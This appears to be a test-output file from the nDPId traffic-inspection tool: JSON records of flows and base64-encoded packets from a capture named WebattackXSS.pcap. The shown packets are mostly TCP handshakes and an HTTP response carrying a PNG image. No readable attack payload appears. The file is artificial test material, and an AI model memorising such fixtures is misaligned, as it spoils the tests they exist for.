+00440{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":343180,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQy4Rgmy17FtXp96AScSCd7QAAAgQFtAQCCAoD4pnNATjIVgEDAwc="} +02383{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":343349,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMGxFOsxABm5CmnxCABFAAXc7OlAAEAG0UbAqAoyrBAAAQBQy4I5j36tKHYPXYAQAQTFTAAAAQEICgPimc0BOMhWSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE1OjM1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpMYXN0LU1vZGlmaWVkOiBNb24sIDI2IEp1biAyMDE3IDE0OjQ0OjQ4IEdNVA0KRVRhZzogIjIzODAtNTUyZGRmZTI0MmI5MCINCkFjY2VwdC1SYW5nZXM6IGJ5dGVzDQpDb250ZW50LUxlbmd0aDogOTA4OA0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogaW1hZ2UvcG5nDQoNColQTkcNChoKAAAADUlIRFIAAADIAAAAcggGAAAAFgmejQAAI0dJREFUeAHs3ANwZNsWgOETOxnbtm3btm3btm3btud6PHds255k1vvr1rBfd9J9uuO9q76qlIJV\/R\/uiqaWWsG9KlWv54GUKI5mGIrFOIQTOP7VMfyDv\/HXV3\/iD+zCJLREAUSHZq2vXyhKkEiIShiEdTiGJ5BAcgo9kTAkBqIozoiPXKiMssiBPKiApuiJsViEbbgCCQR\/oHBYCERRoqAUBmA7nkJsZD4iBUogirL13zoOcIE7vBABkREN7tACAz87CephK3whVniEWioQ\/6gPuh2iIi2KoT56YCJW4hAu4xU+wQ9ihte4gqNYh+kYgBaoiBzwsjKWGOiEUxArrIaTCkTFEBdl0BsrcQGfIMHED+exGB2QBx46Y8mAcXhoRSQO4SMQFYIb0qMCOmISNmErlmMmJmIqZmEeFmMF1mAjtuIIruJ9EEfzLxahNeJYGIoT2uMZxELLYK8CCfuBOEOzsYhIhSKoh+6YisN4BQkkX3AQLRHFglAiYQI+6bh5V4EoNr+PSYIqGIKtuAuxsc\/YgfrwNjOUZNgJsUB1FYgSFOHERlNswluIDX3AGmQyIxI7dMdniBluw0MFohjyCMRYXFEK03DLxpdgK5HUjFBy4zbEDENVIIqGtCiJNHAIwrNLBkzFGxtefs1ArAAiiYzdkAB8QCIVSPiNoj+GIGcwX4b5oBOuQmzgHYYjgj+RuGATJABjVCDhK4pB+BsTkSiE3a\/Yoxz2QGzgGSoE8Dh4DcQfd2GvAgm7YqIvzuM+uiNCKLi5z4SjNro\/GQR7E5E4YjnEH0VUIGGLHQpjDT7jGXrAPRQ+Oq6PhxArbUEEf84kRyAmLFCBhA2R0BEXIXiDIYgQyh8V+2AifCFWuITU\/uzpugcx4qkKJHTLjgV4D8EHTES0MPZOJR3+gFjhNSqbiCQnPkKMiB+6Bqa4oSmOQ77yxVzEC+NbaObZ4L6kpolIOkGMKB86hqS4oyPuQ36yGynC0Rv6zvCD6PQR+Y0E4oATEAP9Q\/ZQFA90MbKV+w6qhdNtLKXwEqLTc6QyEkkOfIH8ZG3IHITiiW54BPnJZ4yGZzjf65XKyheMNxDdSCSzID85GrL+eMULPfEYYuAAUkNT\/oskjpV7u9aYeKr1EfLVv2rYIYMHeuMpxMB91Ib2f1QkqfEMolNpI5HMg3x1Vw06+FXzZ6fpCkSEppiMJC\/eQ3S4DneDQNJAvnqrhhx8UmEvxIgXqAPNLCqS6hCdhhs5i+yA4LMacNDzxlh8hhhxEPGhWURFsgyiw1v4GATSCIJnarhBqw7uQ4z4hB6wh2YxFUhkPIDo0MYgkDgQ3FTDDRrpcRhiwjlkhGYVFUkliA5njFxmncNZNdjA5YQR8IWYsBJu0GxCRbIZokMug0Am4DeTP0hE7BANiZAWOVAY5VATdVAehZAFyRAVmhXsEEEnTSd3RLBA\/K8iI4Ipo8ZOylS\/SetjdRu1kNoNmhkL4wv6w+7rvH1s\/Dc7IoIO9lbMx5A="} +10225{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":343422,"pkt_caplen":7306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":7306,"pkt_l4_len":7272,"pkt":"AMGxFOsxABm5CmnxCABFABx87OpAAEAGuqXAqAoyrBAAAQBQy4I5j4RVKHYPXYAQAQSTWgAAAQEICgPimc0BOMhWI7Sg9PU\/N4oOUw0CKYWd2tcPfg30wAzsxEV8gJ71AFsxGBURC5qZHPECelYaaDr8jkBdz1+8MIzjLapCg\/Y1Nj0rNjQTasDS5QcfaD85Db2rFbRgiGQ\/xEInDQLxwFJNflq+vr7y6PFj+ffcBdl\/8LAsXrZSpv2PuGuArqRZws+2bdu29T+too2d7GazVrC2bdu2bdu2o82+Tb\/+JnXz9+kz011zk9ypc+ph506ne6a\/6vKMmSAGDB4huvcaIDoX9xCtOxSK5q3ai9z8dqJN+0JR0LWX6N1\/sBg+aryYOXuBOHj4qHj85IlQqEryOslNJL+ZscC5uGnJslVi9tyFVl61ZoMgyg3jYb4Xyz51+izrb81buES8fPnSeU7zFixm3XPq9BkBSkjNVvOovq+d1n\/Ab3bs3MMac9uOGkz\/3bC27vjBoqUrrOPNnb9YlJWV4+eHtDE+hX88fuKUfo9lvEWitLQMt64MCCB\/CgMgqDt5pwaSphhQ7N67XyRnNBNJabkiKT1XxKdkiUYxiWE1BI5JSJfj5Mjxmot2nYrF0hWrQw8LdF9yb8nvMCwwQTLAx\/p78SnZofEXh\/EwG+LGjgXdWH8rM7eVCFHTpCzWPb36DhKggi49BX0R6aMu6mwb\/CY9J58zpvxdC0HU3rC2pU+ePBXxyfZ5xiZkiKqqKow3VBsjXTKEoq89ENU0RWzdvhO34sW8NSCQnAgDJH\/QAPIeDCZWr92AhdULN4lLEYkSMNgop8+cE0QXJf\/WY3Gwe6oArEYxSfaXm5gh9uw7IEg1e73PBzkWJwIAbfs7DaMTxfSZc0WIOhf1YK0\/p4Wz93HiIJ36LR723oznz59DOLHGxHxxiuE+w9quHDl6HALEOl7bDkWCqJE2xoLKykqRktnc93vv0WeAIPprQADpEQZACnRvlgqQemecTF169BWQbKR6jfBQu\/bcuXuPvWEGDxstiH7i80FeOX3mLEvKYi6Xr1wVkk5i7vOlutUgKoFxXzMBkkAcJfk1bowxz547D0HCWq80\/uVcrmHYowbVUSxYtFTO0TKeXAPUIqKP6Pbg4SPH5GmZ6ftdJ8t1K6dSEAD5cRgAGRMcQBRJjE2zect2QbRc8pu0BRbgQgZb5civEew+HuKXccPEKTNZfyNVSlGi7nBinDx1WiQwpDPU1nv37uO+zR7zgAryv1Vr1uPZsObSODZJbNm2A2M+l\/xGlzF\/40y0V3\/rWAAl1iLpnDbGL\/CPw0aOC+s9J0qBcv7CJXXciDI1f7jlEyAzAwWIypBK02fVqCwLNZfg9wRcauMms8aC\/fTgwUNlE7LYEe25Ldqy\/gacEEQ\/lE6IxRUVz1kSP1baZAcOHcF99zzm8WNc7DdwmK\/nN3rcJEH0dZcx83AhIzefBeDKyhf4+SRtDHghpd3VMqz32yA6QX2\/XwwEJP7LdJcHDhCVESOAx4NolmJDIB5yw5HSydkMozBVbNy8LSRR38Z8gMuelZTITW5X4+CBgidH0nVpF\/16\/KRppc7macbbPPASEX3YZR4ZuJCd10a\/j2s3RLmMOfHFixcimaGiNmvZXhAla2Psu3f\/AU77sN9vs\/yasZsHBJB8nwDZYgFIECDJEoulK5KorbLAcTCguXZI9979BdFfGA8PKt2zHbv2iOimadaxASIYxRcvXUY7\/YpW7QoEaODQkay5devVTxD9zmUuo5x1ElC5nJKZJ4h6uIx54OKlK6xnN37SVDcp\/wGYTavXboQ6F\/a7xd9\/9qwEY68KCCB\/8QmQfbUCCCRpalZzKXXaiaJuvR3OatYKkgqbSG62FP0e9rhkAD9VpCyi9KK4e2\/WGPC0EPW3PjzS0fsMGMLzyPQeKEBde\/ZD9NvxrkHFQqwoirFmPCOiZi5z2X3t+g3WSaarRmVljnt7iUuwtWLjpq2icVyKVc0l9e+2NkYM\/rFTUXezPWkJBcTEp4XcveWwtQIAyGd8AmRtrQACr4gbwVtx69ZtsXf\/QTFkxBjo5iyDU+X8tp0E0QRa4Nvxojdv3cECHqTV9Rs3cf9hxsPriR+mZNjdl3FJGWLXnn3YjFKaJtf8O9S\/m3LNHMkPAUIendHaPJDWUQqDG+5wv+opPHBwmWtjwiaRNtM41slIMaR52hhTcKqlZJjVK3jx7Cf7AEH0t4AM9TIfAJlWVwBJkvwnUmda0qZGePcJLj54+EhK56F4iewXHiel2dZtO0PpDt+jRa5++vQZS1VoLKXZMhk7AV4ZOWH7b0gwJabmsCR1RUWF2L5zt\/rvIbUQwoAF3lu37+Dn27R5fFUyshX8G8FRiaEsgiot8BqLf8xv3ck6BgxwojwtH+4WsgsSUrKMzocefQbKUyrJ6kAh4TAsCDXL5xev+tcVQN7iMaHXkdEIixYbVkmxsHNaVp6AcSlppuppat6yPev+DgVdTYarql9XYYNzTrn2nbq42hsyGVGA2nQsYmUXUDDzoTaXaGczt1E3M5+RAuQS\/+nLPR0HD6f4EQkk4u847u\/J021xDpyiAL\/llIK79yKGPB8EQHw2dmhT3wBRfftzCSRS183gqQ0yKo7AFG2kN1AmsZg1ZwHrOMdLg2ogabzn3GhTtrNvbHjH8GxgoEPVco2LTJs5l7W2GbPmCaKP6ZvZy9vUMCoRmQKeY8IWJEpTxlxz\/8EDPAuL+zkNuV+O3adlIDiD5uS15dh8sEktgch4PKNA3L0EkIs+ABIVCYCoRzV8uE5CY0PGBgcPGjpKEP2axjmJqDEnHQTqDiLSki4b5jUJpxRHvYJ0RCbu4aPHXK\/DDYprnEhzkXQ2EP1RmctabGYPKYxAJNZkFAhEQ5Qxb+8\/eFjEJWZa1wZVGK9fez6bnjx9aj0ZCoodMw6OGoa7twbIeQEA5JwPgHw6kgAJ1Thcgv7NTaNIy84TRP0wBv03Kx+oQZMEMWN2jaT+gsecriOmwUk2hGoHGjdhqtt1OCVKYORy1oagHVELZS539x04BG+PJwBMaTAQGg8fOZt8I8YjD6CYOWeBH69fJ2U+sGUqYQuavHNQTRcsWiZAy1euEY2iE612CGxJFYyRYh8N5q4CEBEFiBoIQ6o813d+5eo13HIa99NJIvoPHs66H\/o8USbud\/PwjJ0whWX0z5Up7aD07Bauvzl6\/MQ4XE\/DdUZOFiUYjsNcqJZDTJ0x27CJm5mi4SjEgkqqRunhOBGFXXvZXdd9B+onNfiV6hSVftaTGkY86Nq16yLRctpEw927LRh3rw8v1oygAIIH8gQp9dEJ6da\/AVVsyfJVguidZIs8gtoQy7BlIK2QGStpvstcIMYRl2B5r+DpunDxktdvoFj\/HOP16jfYPl5GrkC8Q9JOmsvfnVT7wm5G13eBRbAQiEEfoUAr0uGtGdbrNmxyMg+0dzkCHifbaQ2wI8uXXPwAst3d2yuy7l4Cx\/t8qFdZQQEEvAubjRkMQw6WribNxqbHi+G4i2EXwNvsUj66GpnEHJUIpwY5CNyuP0FdBz2HSjw\/BA9tUhSRewgLmktnm+o4XCYKjps4hRulR9HVDAQwISSs4L95C\/fs0J7PeUTg8XyYp\/RGNaDIdPcOjyBAvuUDIF8OEiBToV4QQNiRa0hour9pteepmHX\/qFcT+X6gzAFp9WU2\/RrcQPLYiVOFwQWbo9Ry7IMTgWP0T5k+SxB9Ag4Mk\/0CwK3fuEWs37DZCD7kg4HodDxy9twFAMAKEKLeyvP5Qo1AsKTIK0mIeD9VK1evswoIrPPcecfdeyGCAPkbExz7lSKpN0n+AL3fiAGkoNol2IL1d1BNSPQfNTcIBiGniCq7eWs3rwkaTkjde5DdG5aa60Sp79y563Z9j9q7CgEwSMbENHu8p7BLL1XaX4Ae7xVMRfwIGwrlz\/HJ2cY4A0nmsRAASNqkiL8Xo9jLrWQ3x3lgrTpY04Ko8O0a3XcIz8nm9YKbfpq0t4i+FCGAtGYCJE8BSArq0SMNkCjc1KZDEevvZDVv5WZo74RblZOhCmkOVUPSHOX+YgekmXksRwE2HWI4Ltf\/olUDxjquqTYd\/Xiy2kHyIhKOjePhocIa4IqF9OXUmzjiWWYaW+txKAsAqHqvmt2MunSs3aYqkbNhihrLSWc4KnLz20bM3UsAWcgAxwvJHyJwQPBtxXuNNEC+j5uGjhzLdPW6FkBB8UVdOKvW5NjxkwIuXeX+9WgmwbE\/UJuh1JGrfNylXPbzzsacOM1PTtYeWzYwgExkPJ1gcx09doJdCowThwqZjmrZzSWI9sdYHCmoTydKUD1n\/QYNZwkecveuiQRAmAVTK5TTo4nk7UEA5JPV1XszWH8nI6dGr26pjPFtyVajlVitH\/8UecJKdu7ei+i4NQkQsQmkabukoiR71JTf27f\/IPKTrJF+qCMkvUVeS291pj2lzdjcyCipXbFqnQBxCpwgICjbYITybH\/ruNItmxxxpjnkNcM7VbyUFUjojE5IszgqUkOVkOWo26lncHyWqV41UAByWPLkyAOE4g+DhpDE5Ede47RxrkFv55S6tm5fIIiiyVgXw0aMYalncGFu3rpdv3Zb8ps9ALKc4x0D+Ci9HGRMB4GqBOJ4iYbKdZHL1erBoloWPV+tD8dGxLPxKKNdD4cDJ6m066tet7\/XM0CaMsBxSvLrlEZxmGNBEAD5eXVtRx9lPJYR+SdtnNGQfrZNQDq8mkUKn620bVrjGiuFAsmI2rXOhi6UnVkJgtLeQJ8qkAlQTeKSKU8KRKXHdrUHPc3MHqwo1QMlPqE818NI3U9MNwMc66NniiOoQmEYJeiVFrS7VwXIagZAYpXTYzvNMSbyAKH+U63admb9HRz1RN\/B\/Xqkt2uPvqy8LOr8cRBBQ6Ss499sBT7wAuEEQdxC64T4fgNA4JWSHVv6MOyboYKasSEB0lNSI0JNtS0v1qzbaEznSJOSH4SoelxiBqd0+JLyTBHPEZzsZjTH2Lh5qxfDZmN1ZIErGk6FelavqizgOCP59QSOXylz\/FEQAEFgg13fPGnKTDXzVe8TW44qNeiztmo3+OdJut2XaSHYkNZTB7YHovbatZGSTX2M3wWpCq+XLesYblTQUpkt0MAwD5yU5Lo9ffLUGZFoUCuTqCR46fLVOKWM66Msg6lqoz6uhxEAahRjZk6+3JTpNe7eL9cTQHoyTo945fRYr8zx\/UEAZC8it5CM9peAjb1egDxa2qxEswWWvtuznwjRlGkzuXlcegHTS8lftHUVx6GAugdIaWstuaWLSU6Ltmoa+zxUM5rUSggeZCqgPsToZlXGVZ7nTHQ1IeEVEVbm0aIewPFG8l5xT49YZW738C4jDZCPkZrAaQAAaQj1wtQULdsW0FKT\/UCcoiQE16BmQD\/WjOclnLb7qKqEFLcFDDF2SUkpQOBdyPRqyv93yb6BGmXqLgnPm3WNo8dPFkRfUQrc7qMDI9XsRIQh3JBSXx\/uXniluC1GcVpon9peHQRAYHGjuMdv84U+HuN9GhfnzFuI04ZT8wB1BRLS+lu4YBEl1q6lMgECqYxgmPnvyCj9mbPnARSPLOIkpxkEGb9vpM9NiA6duxqN\/4WLl6N4yViMBle01p\/rh86JOZpOzAgxXO3k7q2oa3cvGi8w687x3qZqc+seaYCgNvwBNgSpV+wgnaF3L\/j41WvXrTlHMQlOgiAycqH6sBpTT5sxR7\/2ZSZAvon7R1g2G04qdIb3KgBLkCcQZf3uobV+RrKYNNWsIvbsMxAg57TgWST0DpYUO4kkw9FC9I86BMfnLcb5A8kfJHD8yWVe\/4okQF4LewEqC7q88xo3yNptmRZPZaBvNIzdu9pvb08bQetMuFZhHJq6AE6eNku4uCrvcMABJnXlqROMjE+1GOod0VHd0\/tGbtCRynofY9yY+HSjmgUhwGjPqgZft6MjJYE1opycUZNVMKIOAdLbcnqkEDjeJvmiy7w+HimAYLMMkIzGyCjsYXctp+9ULLKM\/8vqwOMoVuKiNf0i3QmAwdDVr83nAoRAsgEltJx0FkadudrpcBviFKY4C9zSpiTFAUNGCKIfKtWe\/1u3fpNyX+QYYOa7e9nG+R0DODZLfi0BpL\/LnG7hHUYCIPCrOz\/cuWsPOicyGzKniAkyFYXon5YH8nrJD\/GxHuQi2XKPbAE8XActWrJcv5bnEyCwt6weNpPthGg\/0bf0QiZD5N34HNA9khq4lSg9kBtIRmCU0xsMjcShhrKYU84Md\/gUOrXhNKgDgKQZwHFf8icJHN\/3+GbksvoEyJuodHM45dmI2fMXETj4ng1qYraL91Dgnqy0Gt+wfWwbdshwZ1OibZB+7Xs+AfJKbToSQpKT8VqmdRpJr+7f2zZsrxEyoSWt17+NAtBxHCf4LZeQKuTT3ZtfS3DArnjgAQ7YJH8ncLxB8iGP+RTWJUDm08dbVuCgIMkEQq4R1AQ9KGdNYsPnzYh+w3ow1B6zfecuHGnleQ15XahARPcS7XdPJb\/eJ0A+JBlrMdg8ZjBTpd9Oba0\/cdJfBg61jmFxdxcpY16Fx47Tt6yttCGJELjMNDA8HQgEIq2F5dInd+\/aWgJkquH06Kd4rYoN8\/lbrQGCZmL4sA28IbAV8L+hu2\/fsRtNFeCr1496dvYuTgOffvH3QYdGTYU9vmJvTL1uw2b92houMDSQXETkO17vSsizwbw+OoM2rFUoGNPVM17z7P5682yno+MkRvAUGx0fCyL6NOO9nAXwAHbOp9rQWpbcvW8PExy\/M4Bjp+Q3EDj+IbnKMJ8P1RogMD5xJCdRs2r8d0JajiXtwy5FqKduuaJ3c3kbvDCWIipLtL2vAMFNql0bGyZAZiKdQwkYshkfRyWKd1nrOXQy5Eh8XW3D+5VUqcQcoNIgWMk51dDV3o8xPZybUApG\/hrRK2GA482Iihvsjk8ROL4k+bFhHlfx7uwACcCTQcU+EJtNwpAg2FHwVIX191G\/gS\/GIpHRpXn00DAB4lj8mUrnFC6PkCkuRF9zWesC2Ggcm0H30FFmwm61eQW0AAgnjv1Bp9p45jt5hYx\/v59qGxkGQIo9wFEu+ecEjndKPmmZx+TgAGLQ\/eFiJOoYBjgoOIcy0+lhq1fIc0Kxj8v1vmEC5EdOteDgkf4+dirVDaiqZM+9zmWthbiYZoj9WGrW+9M4cLCUQzBExdlPfkTwiWJY74SazzmpRXHJjBMqO9QN85IBCKjZeIfWceTLkitcwPFS8r8JHK+VvIjxnP4QOEDUWof07PxQ637QxFq6+K4gUh9O7KEN1VEMdS+k6hYmQODRq8A3GGmDsA3026g2pA7wLvxvxSnBZvTdIvoXjfNnyegcw0ocheub6KM+3slmbv8AMGwhD3cvgPAWyX\/UwAHeZOtvRcVPwsI3qRY9eIDAcEWtR3l5ecgwa6NKyzB5JCQkYhl+P0+NdHjoyx4G9Tg8oDBBshPfS9FBy2zFM8hjnZ+rLlvmn5Zofk0tQnGEvF8tPcC3Pzju4UuXr+DnJ32+kw5+vm+Yk9dGjfKr4Hiv5A6hzFuFEzzA0R3XGUa5ygPwzgIDCKQQNkoHKflQ0EN0SPI36ijF4G\/cL7rqLx8GPgqIPH6zoRYAwSbXAcJtxhZrSN15itwyFHZxTyWKVp+gMagZ+FWOl0mtIBweTpOOYSPHst8FfRp8nQIOGNgzXFSr90u+5wKOibjONMpV\/l7EAYLCGSwanwhAkh2OW6IS7GVLnpVfRtOAMujvVAXIllqWRhIXawGQJtwiJDUVnVFEtAPpMGhjygUItegZrTbPQCY0FVYZuVNhd0HUwOc7AZjvIdOB0\/ke9temzdtq3L1yk39b8m7JH9XAgXSS9S7gmAw7hWmUq3wS78sKENQ\/w5sAhtRLIhcu\/jei4dh4uv8dsYfY+HSoJ9X3yHuRFdqr72CoLoiPhF5OqHQ0S\/I766nMcpn08FDCXo6V45IzZQfB+cLibUI6wvvCBAjiBeisgriQdT7wpu3avS\/UlvS1hnWOgkSPS7SOCQZA9eYXaZJFW9mhMj7ZOAYCvah61NQzPpO7mzVX\/K1e\/QYJ0LVHWzpTp\/VvuNgd413AMU7JsXoDpYwIJuewAKJ\/bxCeHTQjQ003fO8oxtkiAzpLZUkpPtuMEwdHPVQmHOGQangYCr2kYx2R1x9HoAcSwIfvfUuuZDHWCVXD8gCTa3GK3IJ942c+MG7rcJ2qgPoM3b+Qe78yp8NhvpMEP3+LviwmrjzcWBkqaNL4\/+3dA3AkeRvA4f+svXu2bdu2bdu273K+Pdu2bdu2bWW9eb\/n81RXZWbTnWW6qp6o2O+bXzWSTA4gMs6piqM9NxDD6Gs6UzeQDdmJgziR87me+3iOd\/mWxkwAv\/E5r\/M417IPi9ODNAJNxuVB1qAhjTd+9duTQfzR\/\/Nnw9cs5Jonnnp2gH\/WU2+I9xcIZB8ub6HNSTXMwuUtdB4J4gwub6GtSDlMwOXD6rd+H79sR\/HT32\/fQQIQwLo0EVX6Vt1zVLiCaIFdSfW0dOkd6UWFNDowwK7NvIreoUQdgxifBK2tZBftOZPgKFLG\/PQjqpxAqtrl+UTrnj2grSyhkWAA41XdzH1O1HE+idZXxjEZTxJcScqYgu8JgsHskImjL1Hs7FEG8mUzz8rnZyBRwxBmJ7WqMo61+ZXgATqRqvTibYLgV5bJxHEcUfzsUQbyKkHwGz2rhrw7UcdjVEiFlWF05QKC4NpsHHTgAYLgQ6bPxHEIkcPmpCqUgdxKVNk\/M+wbiToaSIWUcczOOwTBqVRIGecTBI8ydmZfexM53EHKoAxkL6LKd3SuGnhn7iDq2IaUSxnHbgwgaGJvUhZHEARn0TETx45EDj8zASmDMpC5iYzdMoPvyA1EDYNZkTTMyjDG5U6CYCAbkTIqnEnwDSuSMjvaiSYih\/VJWVAG0o7fiSp\/MnlmAe25gqhhENuT6irjWJpvCII\/WIaU0YnrCG5gbLJxHEvkdD0pj7a0rLuIjIeoZBZRYR8GEjWcSXtSFSjD6MMZDCUIvmVOUkYPHuQ3NiEbRgcuJ3L6jnFItZWB7EuQtSOJ7GLm4n2ihoeZglT635l6e34iqrzPlKSM8XiJh5mU7A56cD+R01BWItVXBjIfQdZfTNlMJN24kKihkf3p0MbjWJzXiIznGIeUMSWvszsVsrOfgFeIAnYkFdHWlvgmQdZTdCE1E8rCPE\/U8CaLtMEwpuBGgqzb6EbKmI07mamZeU\/Pp0QBR5FapgxkC6IZd9ChRiQVNuRzooZ7WKwNzLIbR9GPyGhkRxJZC7E3HZqZ86L8TBRwIanlykA68Q3RjKuokGqE0oV9+IKo4VlWpzIGznFDviTIepHpSWTNxOw1ZrsXg4kCbqd9GUhO2b8rIOssUj3\/WcJaPErU8B5HMOcYMLvFeIogawhH04FEVns6NzPLntxEFPQUXUj5lYH04S+ihgYSUD+WWTiPn4kaPucMlqbDaDKvDmzIi0QzPmEhErRodrPyPlHQ24xFKgMpvvTTiDpupmcLl92epTmbb4gafuUq1qXHKDij3uzDF0QNl9AjZxyb0EgUdH\/rxlEGMhZfEXW8z8w5l19hQU7gOQYSzRjAPWzPhCN5NlPSlz+JGn5izZyz6cS5BEWdSDtSGUgrsqglGUrU8RcbkPLI3NwvxoHcxS8EWU28w7UcyMpMOgLmsSA3MoSo414mzDmHuXmdKA=="} +01353{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":343491,"pkt_caplen":752,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":752,"pkt_l4_len":718,"pkt":"AMGxFOsxABm5CmnxCABFAALi7O9AAEAG1DrAqAoyrBAAAQBQy4I5j6CdKHYPXYAYAQQyXgAAAQEICgPimc0BOMhWqJH1SVAG0uos7ERiGF3ExKQiMmeYyVmBPTiPx\/meIOsXHuMMtmE+ulL0MmpTniHq4Qe2y3m8nWlgMFHQp8xOGr7KQDryCjGM+nEy45BqKBpPH2ZiAZZnPbZhb46kL5dyA2ezL+syH+PVOeYJ2IH7GUTUw18cWeBeYyHeI4riQcYmlYGMmEhmpJFogT84gp6k0cBU7M3TDCWG0SDOZoKcYXSjL0OJgr5jayqkMpARG8l6DCJa6GfOZWnak0Yhs3IYrxEt1MQNTFvgLLgcnxAFDeQEepJgZARSRrIy\/YicfuRClqcDaQSakjU4nFv4nMjpUeYrEMas3EMUxW1MQ4KRHUgZyaL8ThT0Cw9xAfuzLnPRm1RAV+ZlG87iSX4niuJ1ViwQxkRczBCioLdYhgRlIKNSJHPyA9Hq4Bde5HoaOIwG+nI+V3Ajd\/Ewz\/AqHzGEaGUfsBntcobRg6NpJAp6k61pTyoDGXUjmY5PiDFUP65gsQJnjF7sxfdEAUO4mSVIQBnIaPHr3A0MJMYQL7MTvQuEMT1n8RdRwE80MBkJykBGx1Cm50FiNPUbZzNngSgqrMA9NBEFvMQWdCbBmBBIGcq6fEmMBpp4jE3oUiCK+TmG94mchvIU+zANCRjjAikj6c7evEyMYn7hDvZl2pxRdGdNLuF7Iqf+3MnWjEcC2kwgZSzTcijvECPBl1zDjsxCpcY3\/jxsyeosxuwszfaczO28zUAihyG8xcWsTXfSf5WBlLHMRgMv0Ui0sibe5QI2ZYocZ4d1eJqhRAFNfMi17MWiLQ2iDKR8bahpWINDuZK7eZb3+YFBDOQPvudz3uNFbuNM9mNDFmGcVvxFyHHZiAM4jWt4mLf4gc94kXu4jJPYjy1Zhj6ktuIf5u3dFMKRogQAAAAASUVORK5CYII="} +00428{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":343780,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IaFAAD4GpDesEAABwKgKMsuEAFAW1en3YJstfIAQAOU89QAAAQEICgE4yFYD4pnN"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":28,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1499346935650,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52118,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":650305,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ZwtAAD4GXsWsEAABwKgKMsuWAFCoJa+oAAAAAKACchBxcwAAAgQFtAQCCAoBOMijAAAAAAEDAwc="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":29,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1499346935650,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52120,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":650400,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8\/9xAAD4GxfOsEAABwKgKMsuYAFCG7Dd\/AAAAAKACchAK1AAAAgQFtAQCCAoBOMijAAAAAAEDAwc="} +00440{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":650451,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQy5YT3KepqCWvqaAScSAY0AAAAgQFtAQCCAoD4poaATjIowEDAwc="} 